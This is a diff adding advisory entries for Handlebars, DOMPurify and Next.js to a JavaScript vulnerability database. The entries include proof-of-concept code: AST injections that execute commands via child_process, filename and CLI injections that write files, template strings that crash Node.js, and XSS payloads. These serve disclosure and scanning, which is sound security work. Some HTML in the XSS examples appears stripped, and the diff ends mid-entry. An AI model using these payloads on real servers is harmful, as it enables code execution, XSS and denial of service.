b/repository/jsrepository-v2.json index 0226aa66..3d42aaf0 100644 --- a/repository/jsrepository-v2.json +++ b/repository/jsrepository-v2.json @@ -4445,6 +4445,165 @@ "info": [ "https://nvd.nist.gov/vuln/detail/CVE-2021-23369" ] + }, + { + "atOrAbove": "4.0.0", + "below": "4.7.9", + "severity": "medium", + "cwe": [ + "CWE-1321", + "CWE-79" + ], + "identifiers": { + "summary": "## Summary\n\n`resolvePartial()` in the Handlebars runtime resolves partial names via a plain property lookup on `options.partials` without guarding against prototype-chain traversal. When `Object.prototype` has been polluted with a string value whose key matches a partial reference in a template, the polluted string is used as the partial body and rendered **without HTML escaping**, resulting in reflected or stored XSS.\n\n## Description\n\nThe root cause is in `lib/handlebars/runtime.js` inside `resolvePartial()` and `invokePartial()`:\n\n```javascript\n// Vulnerable: plain bracket access traverses Object.prototype\npartial = options.partials[options.name];\n```\n\n`hasOwnProperty` is never checked, so if `Object.prototype` has been seeded with a key whose name matches a partial reference in the template (e.g. `widget`), the lookup succeeds and the polluted string is returned. The runtime emits a prototype-access warning, but the partial is still resolved and its content is inserted into the rendered output unescaped. This contradicts the documented security model and is distinct from CVE-2021-23369 and CVE-2021-23383, which addressed data property access rather than partial template resolution.\n\n**Prerequisites for exploitation:**\n1. The target application must be vulnerable to prototype pollution (e.g. via `qs`, `minimist`, or\n any querystring/JSON merge sink).\n2. The attacker must know or guess the name of a partial reference used in a template.\n\n## Proof of Concept\n\n```javascript\nconst Handlebars = require('handlebars');\n\n// Step 1: Prototype pollution (via qs, minimist, or another vector)\nObject.prototype.widget = '';\n\n// Step 2: Normal template that references a partial\nconst template = Handlebars.compile('
Welcome! {{> widget}}
');\n\n// Step 3: Render — XSS payload injected unescaped\nconst output = template({});\n// Output:
Welcome!
\n```\n\n> The runtime prints a prototype access warning claiming \"access has been denied,\" but the partial still resolves and returns the polluted value.\n\n## Workarounds\n\n- Apply `Object.freeze(Object.prototype)` early in application startup to prevent prototype pollution. Note: this may break other libraries.\n- Use the Handlebars runtime-only build (`handlebars/runtime`), which does not compile templates and reduces the attack surface.", + "githubID": "GHSA-2qvq-rjwj-gvw9", + "CVE": [ + "CVE-2026-33916" + ] + }, + "info": [ + "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-2qvq-rjwj-gvw9", + "https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2", + "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9" + ] + }, + { + "atOrAbove": "4.0.0", + "below": "4.7.9", + "severity": "critical", + "cwe": [ + "CWE-843", + "CWE-94" + ], + "identifiers": { + "summary": "## Summary\n\n`Handlebars.compile()` accepts a pre-parsed AST object in addition to a template string. The `value` field of a `NumberLiteral` AST node is emitted directly into the generated JavaScript without quoting or sanitization. An attacker who can supply a crafted AST to `compile()` can therefore inject and execute arbitrary JavaScript, leading to Remote Code Execution on the server.\n\n## Description\n\n`Handlebars.compile()` accepts either a template string or a pre-parsed AST. When an AST is supplied, the JavaScript code generator in `lib/handlebars/compiler/javascript-compiler.js` emits `NumberLiteral` values verbatim:\n\n```javascript\n// Simplified representation of the vulnerable code path:\n// NumberLiteral.value is appended to the generated code without escaping\ncompiledCode += numberLiteralNode.value;\n```\n\nBecause the value is not wrapped in quotes or otherwise sanitized, passing a string such as `{},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() //` as the `value` of a `NumberLiteral` causes the generated `eval`-ed code to break out of its intended context and execute arbitrary commands.\n\nAny endpoint that deserializes user-controlled JSON and passes the result directly to `Handlebars.compile()` is exploitable.\n\n## Proof of Concept\n\nServer-side Express application that passes `req.body.text` to `Handlebars.compile()`:\n\n\n```Javascript\nimport express from \"express\";\nimport Handlebars from \"handlebars\";\n\nconst app = express();\napp.use(express.json());\n\napp.post(\"/api/render\", (req, res) => {\n let text = req.body.text;\n let template = Handlebars.compile(text);\n let result = template();\n res.send(result);\n});\n\napp.listen(2123);\n```\n\n```\nPOST /api/render HTTP/1.1\nContent-Type: application/json\nHost: 127.0.0.1:2123\n\n{\n \"text\": {\n \"type\": \"Program\",\n \"body\": [\n {\n \"type\": \"MustacheStatement\",\n \"path\": {\n \"type\": \"PathExpression\",\n \"data\": false,\n \"depth\": 0,\n \"parts\": [\"lookup\"],\n \"original\": \"lookup\",\n \"loc\": null\n },\n \"params\": [\n {\n \"type\": \"PathExpression\",\n \"data\": false,\n \"depth\": 0,\n \"parts\": [],\n \"original\": \"this\",\n \"loc\": null\n },\n {\n \"type\": \"NumberLiteral\",\n \"value\": \"{},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() //\",\n \"original\": 1,\n \"loc\": null\n }\n ],\n \"escaped\": true,\n \"strip\": { \"open\": false, \"close\": false },\n \"loc\": null\n }\n ]\n }\n}\n```\n\nThe response body will contain the output of the `id` command executed on the server.\n\n## Workarounds\n\n- **Validate input type** before calling `Handlebars.compile()`: ensure the argument is always a `string`, never a plain object or JSON-deserialized value.\n ```javascript\n if (typeof templateInput !== 'string') {\n throw new TypeError('Template must be a string');\n }\n ```\n- Use the Handlebars **runtime-only** build (`handlebars/runtime`) on the server if templates are pre-compiled at build time; `compile()` will be unavailable.", + "githubID": "GHSA-2w6w-674q-4c4q", + "CVE": [ + "CVE-2026-33937" + ] + }, + "info": [ + "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-2w6w-674q-4c4q", + "https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2", + "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9" + ] + }, + { + "atOrAbove": "4.0.0", + "below": "4.7.9", + "severity": "high", + "cwe": [ + "CWE-843", + "CWE-94" + ], + "identifiers": { + "summary": "## Summary\n\nThe `@partial-block` special variable is stored in the template data context and is reachable and mutable from within a template via helpers that accept arbitrary objects. When a helper overwrites `@partial-block` with a crafted Handlebars AST, a subsequent invocation of `{{> @partial-block}}` compiles and executes that AST, enabling arbitrary JavaScript execution on the server.\n\n## Description\n\nHandlebars stores `@partial-block` in the `data` frame that is accessible to templates. In nested contexts, a parent frame's `@partial-block` is reachable as `@_parent.partial-block`. Because the data frame is a mutable object, any registered helper that accepts an object reference and assigns properties to it can overwrite `@partial-block` with an attacker-controlled value.\n\nWhen `{{> @partial-block}}` is subsequently evaluated, `invokePartial` receives the crafted object. The runtime, finding an object that is not a compiled function, falls back to **dynamically compiling** the value via `env.compile()`. If that value is a well-formed Handlebars AST containing injected code, the injected JavaScript runs in the server process.\n\nThe `handlebars-helpers` npm package (commonly used with Handlebars) includes several helpers such as `merge` that can be used as the mutation primitive.\n\n## Proof of Concept\n\nTested with Handlebars 4.7.8 and `handlebars-helpers`:\n\n```javascript\nconst Handlebars = require('handlebars');\nconst merge = require('handlebars-helpers').object().merge;\nHandlebars.registerHelper('merge', merge);\n\nconst vulnerableTemplate = `\n{{#*inline \"myPartial\"}}\n {{>@partial-block}}\n {{>@partial-block}}\n{{/inline}}\n{{#>myPartial}}\n {{merge @_parent partial-block=1}}\n {{merge @_parent partial-block=payload}}\n{{/myPartial}}\n`;\n\nconst maliciousContext = {\n payload: {\n type: \"Program\",\n body: [\n {\n type: \"MustacheStatement\",\n depth: 0,\n path: {\n type: \"PathExpression\",\n parts: [\"pop\"],\n original: \"this.pop\",\n // Code injected via depth field — breaks out of generated function call\n depth: \"0])),function () {console.error('VULNERABLE: RCE via @partial-block');}()));//\",\n },\n },\n ],\n },\n};\n\nHandlebars.compile(vulnerableTemplate)(maliciousContext);\n// Prints: VULNERABLE: RCE via @partial-block\n```\n\n## Workarounds\n\n- **Use the runtime-only build** (`require('handlebars/runtime')`). The `compile()` method is absent, eliminating the vulnerable fallback path.\n- **Audit registered helpers** for any that write arbitrary values to context objects. Helpers should treat context data as read-only.\n- **Avoid registering helpers** from third-party packages (such as `handlebars-helpers`) in contexts where templates or context data can be influenced by untrusted input.", + "githubID": "GHSA-3mfm-83xf-c92r", + "CVE": [ + "CVE-2026-33938" + ] + }, + "info": [ + "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-3mfm-83xf-c92r", + "https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2", + "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9" + ] + }, + { + "atOrAbove": "4.0.0", + "below": "4.7.9", + "severity": "low", + "cwe": [ + "CWE-367" + ], + "identifiers": { + "summary": "## Summary\n\nIn `lib/handlebars/runtime.js`, the `container.lookup()` function uses `container.lookupProperty()` as a gate check to enforce prototype-access controls, but then discards the validated result and performs a second, unguarded property access (`depths[i][name]`). This Time-of-Check Time-of-Use (TOCTOU) pattern means the security check and the actual read are decoupled, and the raw access bypasses any sanitization that `lookupProperty` may perform.\n\nOnly relevant when the **compat** compile option is enabled (`{compat: true}`), which activates `depthedLookup` in `lib/handlebars/compiler/javascript-compiler.js`.\n\n## Description\n\nThe vulnerable code in `lib/handlebars/runtime.js` (lines 137–144):\n\n```javascript\nlookup: function (depths, name) {\n const len = depths.length;\n for (let i = 0; i < len; i++) {\n let result = depths[i] && container.lookupProperty(depths[i], name);\n if (result != null) {\n return depths[i][name]; // BUG: should be `return result;`\n }\n }\n},\n```\n\n`container.lookupProperty()` (lines 119–136) enforces `hasOwnProperty` checks and `resultIsAllowed()` prototype-access controls. However, `container.lookup()` only uses `lookupProperty` as a boolean gate — if the gate passes (`result != null`), it then performs an independent, raw `depths[i][name]` access that circumvents any transformation or wrapped value that `lookupProperty` may have returned.\n\n## Workarounds\n\n- Avoid enabling `{ compat: true }` when rendering templates that include untrusted data.\n- Ensure context data objects are plain JSON (no Proxies, no getter-based accessor properties).", + "githubID": "GHSA-442j-39wm-28r2" + }, + "info": [ + "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-442j-39wm-28r2", + "https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2", + "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9" + ] + }, + { + "atOrAbove": "4.0.0", + "below": "4.7.9", + "severity": "high", + "cwe": [ + "CWE-754" + ], + "identifiers": { + "summary": "## Summary\n\nWhen a Handlebars template contains decorator syntax referencing an unregistered decorator (e.g. `{{*n}}`), the compiled template calls `lookupProperty(decorators, \"n\")`, which returns `undefined`. The runtime then immediately invokes the result as a function, causing an unhandled `TypeError: ... is not a function` that crashes the Node.js process. Any application that compiles user-supplied templates without wrapping the call in a `try/catch` is vulnerable to a single-request Denial of Service.\n\n## Description\n\nIn `lib/handlebars/compiler/javascript-compiler.js`, the code generated for a decorator invocation looks like:\n\n```javascript\nfn = lookupProperty(decorators, \"n\")(fn, props, container, options) || fn;\n```\n\nWhen `\"n\"` is not a registered decorator, `lookupProperty(decorators, \"n\")` returns `undefined`. The expression immediately attempts to call `undefined` as a function, producing:\n\n```\nTypeError: lookupProperty(...) is not a function\n```\n\nBecause the error is thrown inside the compiled template function and is not caught by the runtime, it propagates up as an unhandled exception and — when not caught by the application — crashes the Node.js process.\n\nThis inconsistency is notable: references to unregistered **helpers** produce a clean `\"Missing helper: ...\"` error, while references to unregistered **decorators** cause a hard crash.\n\n**Attack scenario:** An attacker submits `{{*n}}` as template content to any endpoint that calls `Handlebars.compile(userInput)()`. Each request crashes the server process; with process managers that auto-restart (PM2, systemd), repeated submissions create a persistent DoS.\n\n## Proof of Concept\n\n```javascript\nconst Handlebars = require('handlebars'); // Handlebars 4.7.8, Node.js v22.x\n\n// Any of these payloads crash the process\nHandlebars.compile('{{*n}}')({});\nHandlebars.compile('{{*decorator}}')({});\nHandlebars.compile('{{*constructor}}')({});\n```\n\nExpected crash output:\n```\nTypeError: lookupProperty(...) is not a function\n at Function.eval [as decorator] (eval at compile (...javascript-compiler.js:134:36))\n```\n\n## Workarounds\n\n- **Wrap compilation and rendering in `try/catch`:**\n ```javascript\n try {\n const result = Handlebars.compile(userInput)(context);\n res.send(result);\n } catch (err) {\n res.status(400).send('Invalid template');\n }\n ```\n- **Validate template input** before passing it to `compile()`. Reject templates containing decorator syntax (`{{*...}}`) if decorators are not used in your application.\n- **Use the pre-compilation workflow:** compile templates at build time and serve only pre-compiled templates; do not call `compile()` at request time.", + "githubID": "GHSA-9cx6-37pm-9jff", + "CVE": [ + "CVE-2026-33939" + ] + }, + "info": [ + "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-9cx6-37pm-9jff", + "https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2", + "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9" + ] + }, + { + "atOrAbove": "4.0.0", + "below": "4.7.9", + "severity": "high", + "cwe": [ + "CWE-843", + "CWE-94" + ], + "identifiers": { + "summary": "## Summary\n\nA crafted object placed in the template context can bypass all conditional guards in `resolvePartial()` and cause `invokePartial()` to return `undefined`. The Handlebars runtime then treats the unresolved partial as a source that needs to be compiled, passing the crafted object to `env.compile()`. Because the object is a valid Handlebars AST containing injected code, the generated JavaScript executes arbitrary commands on the server. The attack requires the adversary to control a value that can be returned by a dynamic partial lookup.\n\n## Description\n\nThe vulnerable code path spans two functions in `lib/handlebars/runtime.js`:\n\n**`resolvePartial()`:** A crafted object with `call: true` satisfies the first branch condition (`partial.call`) and causes an early return of the original object itself, because none of the remaining conditionals (string check, `options.partials` lookup, etc.) match a plain object. The function returns the crafted object as-is.\n\n**`invokePartial()`:** When `resolvePartial` returns a non-function object, `invokePartial` produces `undefined`. The runtime interprets `undefined` as \"partial not yet compiled\" and calls `env.compile(partial, ...)` where `partial` is the crafted AST object. The JavaScript code generator processes the AST and emits JavaScript containing the injected payload, which is then evaluated.\n\n**Minimum prerequisites:**\n1. The template uses a dynamic partial lookup: `{{> (lookup . \"key\")}}` or equivalent.\n2. The adversary can set the value of the looked-up context property to a crafted object.\n\nIn server-side rendering scenarios where templates process user-supplied context data, this enables full Remote Code Execution.\n\n## Proof of Concept\n\n```javascript\nconst Handlebars = require('handlebars');\n\nconst vulnerableTemplate = `{{> (lookup . \"payload\")}}`;\n\nconst maliciousContext = {\n payload: {\n call: true, // bypasses the primary resolvePartial branch\n type: \"Program\",\n body: [\n {\n type: \"MustacheStatement\",\n depth: 0,\n path: {\n type: \"PathExpression\",\n parts: [\"pop\"],\n original: \"this.pop\",\n // Injected code breaks out of the generated function's argument list\n depth: \"0])),function () {console.error('VULNERABLE: object -> dynamic partial -> RCE');}()));//\",\n },\n },\n ],\n },\n};\n\nHandlebars.compile(vulnerableTemplate)(maliciousContext);\n// Prints: VULNERABLE: object -> dynamic partial -> RCE\n```\n\n## Workarounds\n\n- **Use the runtime-only build** (`require('handlebars/runtime')`). Without `compile()`, the fallback compilation path in `invokePartial` is unreachable.\n- **Sanitize context data** before rendering: ensure no value in the context is a non-primitive object that could be passed to a dynamic partial.\n- **Avoid dynamic partial lookups** (`{{> (lookup ...)}}`) when context data is user-controlled.", + "githubID": "GHSA-xhpv-hc6g-r9c6", + "CVE": [ + "CVE-2026-33940" + ] + }, + "info": [ + "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-xhpv-hc6g-r9c6", + "https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2", + "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9" + ] + }, + { + "atOrAbove": "4.0.0", + "below": "4.7.9", + "severity": "high", + "cwe": [ + "CWE-116", + "CWE-79", + "CWE-94" + ], + "identifiers": { + "summary": "## Summary\n\nThe Handlebars CLI precompiler (`bin/handlebars` / `lib/precompiler.js`) concatenates user-controlled strings — template file names and several CLI options — directly into the JavaScript it emits, without any escaping or sanitization. An attacker who can influence template filenames or CLI arguments can inject arbitrary JavaScript that executes when the generated bundle is loaded in Node.js or a browser.\n\n## Description\n\n`lib/precompiler.js` generates JavaScript source by string-interpolating several values directly into the output. Four distinct injection points exist:\n\n### 1. Template name injection\n\n```javascript\n// Vulnerable code pattern\noutput += 'templates[\"' + template.name + '\"] = template(...)';\n```\n\n`template.name` is derived from the file system path. A filename containing `\"` or `'];` breaks out of the string literal and injects arbitrary JavaScript.\n\n### 2. Namespace injection (`-n` / `--namespace`)\n\n```javascript\n// Vulnerable code pattern\noutput += 'var templates = ' + opts.namespace + ' = ' + opts.namespace + ' || {};';\n```\n\n`opts.namespace` is emitted as raw JavaScript. Anything after a `;` in the value becomes an additional JavaScript statement.\n\n### 3. CommonJS path injection (`-c` / `--commonjs`)\n\n```javascript\n// Vulnerable code pattern\noutput += 'var Handlebars = require(\"' + opts.commonjs + '\");';\n```\n\n`opts.commonjs` is interpolated inside double quotes with no escaping, allowing `\"` to close the string and inject further code.\n\n### 4. AMD path injection (`-h` / `--handlebarPath`)\n\n```javascript\n// Vulnerable code pattern\noutput += \"define(['\" + opts.handlebarPath + \"handlebars.runtime'], ...)\";\n```\n\n`opts.handlebarPath` is interpolated inside single quotes, allowing `'` to close the array element.\n\nAll four injection points result in code that executes when the generated bundle is `require()`d or loaded in a browser.\n\n## Proof of Concept\n\n**Template name vector (creates a file `pwned` on disk):**\n\n```bash\nmkdir -p templates\nprintf 'Hello' > \"templates/evil'] = (function(){require(\\\"fs\\\").writeFileSync(\\\"pwned\\\",\\\"1\\\")})(); //.handlebars\"\n\nnode bin/handlebars templates -o out.js\nnode -e 'require(\"./out.js\")' # Executes injected code, creates ./pwned\n```\n\n**Namespace vector:**\n\n```bash\nnode bin/handlebars templates -o out.js \\\n -n \"App.ns; require('fs').writeFileSync('pwned2','1'); //\"\nnode -e 'require(\"./out.js\")'\n```\n\n**CommonJS vector:**\n\n```bash\nnode bin/handlebars templates -o out.js \\\n -c 'handlebars\"); require(\"fs\").writeFileSync(\"pwned3\",\"1\"); //'\nnode -e 'require(\"./out.js\")'\n```\n\n**AMD vector:**\n\n```bash\nnode bin/handlebars templates -o out.js -a \\\n -h \"'); require('fs').writeFileSync('pwned4','1'); // \"\nnode -e 'require(\"./out.js\")'\n```\n\n## Workarounds\n\n- **Validate all CLI inputs** before invoking the precompiler. Reject filenames and option values that contain characters with JavaScript string-escaping significance (`\"`, `'`, `;`, etc.).\n- **Use a fixed, trusted namespace string** passed via a configuration file rather than command-line arguments in automated pipelines.\n- **Run the precompiler in a sandboxed environment** (container with no write access to sensitive paths) to limit the impact of successful exploitation.\n- **Audit template filenames** in any repository or package that is consumed by an automated build pipeline.", + "githubID": "GHSA-xjpj-3mr7-gcpf", + "CVE": [ + "CVE-2026-33941" + ] + }, + "info": [ + "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-xjpj-3mr7-gcpf", + "https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2", + "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9" + ] + }, + { + "atOrAbove": "4.6.0", + "below": "4.7.9", + "severity": "medium", + "cwe": [ + "CWE-1321" + ], + "identifiers": { + "summary": "## Summary\n\nThe prototype method blocklist in `lib/handlebars/internal/proto-access.js` blocks `constructor`, `__defineGetter__`, `__defineSetter__`, and `__lookupGetter__`, but omits the symmetric `__lookupSetter__`. This omission is only exploitable when the non-default runtime option `allowProtoMethodsByDefault: true` is explicitly set — in that configuration `__lookupSetter__` becomes accessible while its counterparts remain blocked, creating an inconsistent security boundary.\n\n`4.6.0` is the version that introduced `protoAccessControl` and the `allowProtoMethodsByDefault` runtime option.\n\n## Description\n\nIn `lib/handlebars/internal/proto-access.js`:\n\n```javascript\nconst methodWhiteList = Object.create(null);\nmethodWhiteList['constructor'] = false;\nmethodWhiteList['__defineGetter__'] = false;\nmethodWhiteList['__defineSetter__'] = false;\nmethodWhiteList['__lookupGetter__'] = false;\n// __lookupSetter__ intentionally blocked in CVE-2021-23383,\n// but omitted here — creating an asymmetric blocklist\n```\n\nAll four legacy accessor helpers (`__defineGetter__`, `__defineSetter__`, `__lookupGetter__`, `__lookupSetter__`) were involved in the exploit chain addressed by CVE-2021-23383. Three of the four were explicitly blocked; `__lookupSetter__` was left out.\n\nWhen `allowProtoMethodsByDefault: true` is set, any prototype method **not present** in `methodWhiteList` is permitted by default. Because `__lookupSetter__` is absent from the list, it passes the `checkWhiteList` check and is accessible in templates, while `__lookupGetter__` (its sibling) is correctly denied.\n\n## Workarounds\n\n- Do **not** set `allowProtoMethodsByDefault: true`. The default configuration is not affected.\n- If `allowProtoMethodsByDefault` must be enabled, ensure templates do not reference `__lookupSetter__` through untrusted input.", + "githubID": "GHSA-7rx3-28cr-v5wh" + }, + "info": [ + "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-7rx3-28cr-v5wh", + "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9" + ] } ], "extractors": { @@ -5134,6 +5293,22 @@ "https://www.vulncheck.com/advisories/dompurify-xss-via-textarea-rawtext-bypass-in-safeforxml" ] }, + { + "atOrAbove": "0", + "below": "3.3.2", + "severity": "medium", + "cwe": [ + "CWE-79" + ], + "identifiers": { + "summary": "## Description\n\nA mutation-XSS (mXSS) condition was confirmed when sanitized HTML is reinserted into a new parsing context using `innerHTML` and special wrappers. The vulnerable wrappers confirmed in browser behavior are `script`, `xmp`, `iframe`, `noembed`, `noframes`, and `noscript`. The payload remains seemingly benign after `DOMPurify.sanitize()`, but mutates during the second parse into executable markup with an event handler, enabling JavaScript execution in the client (`alert(1)` in the PoC).\n\n\n## Vulnerability\n\nThe root cause is context switching after sanitization: sanitized output is treated as trusted and concatenated into a wrapper string (for example, ` ... ` or other special wrappers) before being reparsed by the browser. In this flow, attacker-controlled text inside an attribute (for example `` or equivalent closing sequences for each wrapper) closes the special parsing context early and reintroduces attacker markup (``) outside the original attribute context. DOMPurify sanitizes the original parse tree, but the application performs a second parse in a different context, reactivating dangerous tokens (classic mXSS pattern).\n\n## PoC\n\n1. Start the PoC app:\n```bash\nnpm install\nnpm start\n```\n\n2. Open `http://localhost:3001`.\n3. Set `Wrapper en sink` to `xmp`.\n4. Use payload:\n```html\n \"</xmp\">\n```\n\n5. Click `Sanitize + Render`.\n6. Observe:\n- `Sanitized response` still contains the `` sequence inside `alt`.\n- The sink reparses to include ``.\n- `alert('expoc')` is triggered.\n7. Files:\n- index.html\n\n```html\n\n\n \n \n \n expoc - DOMPurify SSR PoC\n \n \n \n
\n

expoc - DOMPurify Server-Side PoC

\n

\n Flujo: input -> POST /sanitize (Node + jsdom + DOMPurify) -> render vulnerable con innerHTML.\n

\n\n
\n
\n \n \n
\n
\n \n \n
\n
\n \n
\n
\n

Se usa render vulnerable: sink.innerHTML = '<wrapper>' + sanitized + '</wrapper>'.

\n
\n
script (vulnerable)
\n
xmp (vulnerable)
\n
iframe (vulnerable)
\n
noembed (vulnerable)
\n
noframes (vulnerable)
\n
noscript (vulnerable)
\n
div (no vulnerable)
\n
textarea (no vulnerable)
\n
title (no vulnerable)
\n
style (no vulnerable)
\n
\n
\n\n
\n \n
(empty)
\n
\n\n
\n \n
\n
\n
\n
\n\n \n \n\n```\n\n- server.js\n\n```js\nconst express = require('express');\nconst path = require('path');\nconst { JSDOM } = require('jsdom');\nconst createDOMPurify = require('dompurify');\n\nconst app = express();\nconst port = process.env.PORT || 3001;\n\nconst window = new JSDOM('').window;\nconst DOMPurify = createDOMPurify(window);\n\napp.use(express.json());\napp.use(express.static(path.join(__dirname, 'public')));\n\napp.get('/health', (_req, res) => {\n res.json({ ok: true, service: 'expoc' });\n});\n\napp.post('/sanitize', (req, res) => {\n const input = typeof req.body?.input === 'string' ? req.body.input : '';\n const sanitized = DOMPurify.sanitize(input);\n res.json({ sanitized });\n});\n\napp.listen(port, () => {\n console.log(`expoc running at http://localhost:${port}`);\n});\n```\n\n- package.json\n\n```json\n{\n \"name\": \"expoc\",\n \"version\": \"1.0.0\",\n \"main\": \"server.js\",\n \"scripts\": {\n \"test\": \"echo \\\"Error: no test specified\\\" && exit 1\",\n \"start\": \"node server.js\",\n \"dev\": \"node server.js\"\n },\n \"keywords\": [],\n \"author\": \"\",\n \"license\": \"ISC\",\n \"description\": \"\",\n \"dependencies\": {\n \"dompurify\": \"^3.3.1\",\n \"express\": \"^5.2.1\",\n \"jsdom\": \"^28.1.0\"\n }\n}\n```\n\n## Evidence\n\n- PoC\n\n[daft-video.webm](https://github.com/user-attachments/assets/499a593d-0241-4ab8-95a9-cf49a00bda90)\n\n- XSS triggered\n\"daft-img\"\n\n## Why This Happens\nThis is a mutation-XSS pattern caused by a parse-context mismatch:\n\n- Parse 1 (sanitization phase): input is interpreted under normal HTML parsing rules.\n- Parse 2 (sink phase): sanitized output is embedded into a wrapper that changes parser state (`xmp` raw-text behavior).\n- Attacker-controlled sequence (``) gains structural meaning in parse 2 and alters DOM structure.\n\nSanitization is not a universal guarantee across all future parsing contexts. The sink design reintroduces risk.\n\n## Remediation Guidance\n1. Do not concatenate sanitized strings into new HTML wrappers followed by `innerHTML`.\n2. Keep the rendering context stable from sanitize to sink.\n3. Prefer DOM-safe APIs (`textContent`, `createElement`, `setAttribute`) over string-based HTML composition.\n4. If HTML insertion is required, sanitize as close as possible to final insertion context and avoid wrapper constructs with raw-text semantics (`xmp`, `script`, etc.).\n5. Add regression tests for context-switch/mXSS payloads (including ``, ``, similar parser-breakout markers).\n\nReported by Oscar Uribe, Security Researcher at Fluid Attacks. Camilo Vera and Cristian Vargas from the Fluid Attacks Research Team have identified a mXSS via Re-Contextualization in DomPurify 3.3.1.\n\nFollowing Fluid Attacks [Disclosure Policy](https://fluidattacks.com/advisories/policy), if this report corresponds to a vulnerability and the conditions outlined in the policy are met, this advisory will be published on the website over the next few days (the timeline may vary depending on maintainers' willingness to attend to and respond to this report) at the following URL: https://fluidattacks.com/advisories/daft\n\nAcknowledgements: [Camilo Vera](https://github.com/caverav/) and [Cristian Vargas](https://github.com/tachote).", + "githubID": "GHSA-h8r8-wccr-v5f2" + }, + "info": [ + "https://github.com/cure53/DOMPurify/security/advisories/GHSA-h8r8-wccr-v5f2", + "https://github.com/cure53/DOMPurify/releases/tag/3.3.2" + ] + }, { "atOrAbove": "3.1.3", "below": "3.3.2", @@ -9274,6 +9449,26 @@ "https://github.com/vercel/next.js/releases/tag/v16.1.7" ] }, + { + "atOrAbove": "10.0.0", + "below": "15.5.14", + "severity": "medium", + "cwe": [ + "CWE-400" + ], + "identifiers": { + "summary": "## Summary\nThe default Next.js image optimization disk cache (`/_next/image`) did not have a configurable upper bound, allowing unbounded cache growth.\n\n## Impact\nAn attacker could generate many unique image-optimization variants and exhaust disk space, causing denial of service.\n\n## Patches\nFixed by adding an LRU-backed disk cache with `images.maximumDiskCacheSize`, including eviction of least-recently-used entries when the limit is exceeded. Setting `maximumDiskCacheSize: 0` disables disk caching. \n\n## Workarounds\nIf upgrade is not immediately possible:\n- Periodically clean `.next/cache/images`.\n- Reduce variant cardinality (e.g., tighten values for `images.localPatterns`, `images.remotePatterns`, and `images.qualities`)", + "githubID": "GHSA-3x4c-7xq6-9pq8", + "CVE": [ + "CVE-2026-27980" + ] + }, + "info": [ + "https://github.com/vercel/next.js/security/advisories/GHSA-3x4c-7xq6-9pq8", + "https://github.com/vercel/next.js/commit/39eb8e0ac498b48855a0430fbf4c22276a73b4bd", + "https://github.com/vercel/next.js/releases/tag/v16.1.7" + ] + }, { "atOrAbove": "15.6.0-canary.0", "below": "15.6.0-canary.59", @@ -9354,6 +9549,27 @@ "https://vercel.com/changelog/summaries-of-cve-2025-59471-and-cve-2025-59472" ] }, + { + "atOrAbove": "15.6.0-canary.0", + "below": "15.6.0-canary.61", + "severity": "medium", + "cwe": [ + "CWE-400", + "CWE-409", + "CWE-770" + ], + "identifiers": { + "summary": "A denial of service vulnerability exists in Next.js versions with Partial Prerendering (PPR) enabled when running in minimal mode. The PPR resume endpoint accepts unauthenticated POST requests with the `Next-Resume: 1` header and processes attacker-controlled postponed state data. Two closely related vulnerabilities allow an attacker to crash the server process through memory exhaustion:\n\n1. **Unbounded request body buffering**: The server buffers the entire POST request body into memory using `Buffer.concat()` without enforcing any size limit, allowing arbitrarily large payloads to exhaust available memory.\n\n2. **Unbounded decompression (zipbomb)**: The resume data cache is decompressed using `inflateSync()` without limiting the decompressed output size. A small compressed payload can expand to hundreds of megabytes or gigabytes, causing memory exhaustion.\n\nBoth attack vectors result in a fatal V8 out-of-memory error (`FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory`) causing the Node.js process to terminate. The zipbomb variant is particularly dangerous as it can bypass reverse proxy request size limits while still causing large memory allocation on the server.\n\nTo be affected, an application must run with `experimental.ppr: true` or `cacheComponents: true` configured along with the NEXT_PRIVATE_MINIMAL_MODE=1 environment variable.\n\nStrongly consider upgrading to 15.6.0-canary.61 or 16.1.5 to reduce risk and prevent availability issues in Next applications.", + "githubID": "GHSA-5f7q-jpqc-wp7h", + "CVE": [ + "CVE-2025-59472" + ] + }, + "info": [ + "https://github.com/vercel/next.js/security/advisories/GHSA-5f7q-jpqc-wp7h", + "https://vercel.com/changelog/summaries-of-cve-2025-59471-and-cve-2025-59472" + ] + }, { "atOrAbove": "15.6.0-canary.0", "below": "15.6.0-canary.61", @@ -9605,6 +9821,26 @@ "https://github.com/vercel/next.js/releases/tag/v16.1.7" ] }, + { + "atOrAbove": "16.0.0-beta.0", + "below": "16.1.7", + "severity": "medium", + "cwe": [ + "CWE-400" + ], + "identifiers": { + "summary": "## Summary\nThe default Next.js image optimization disk cache (`/_next/image`) did not have a configurable upper bound, allowing unbounded cache growth.\n\n## Impact\nAn attacker could generate many unique image-optimization variants and exhaust disk space, causing denial of service.\n\n## Patches\nFixed by adding an LRU-backed disk cache with 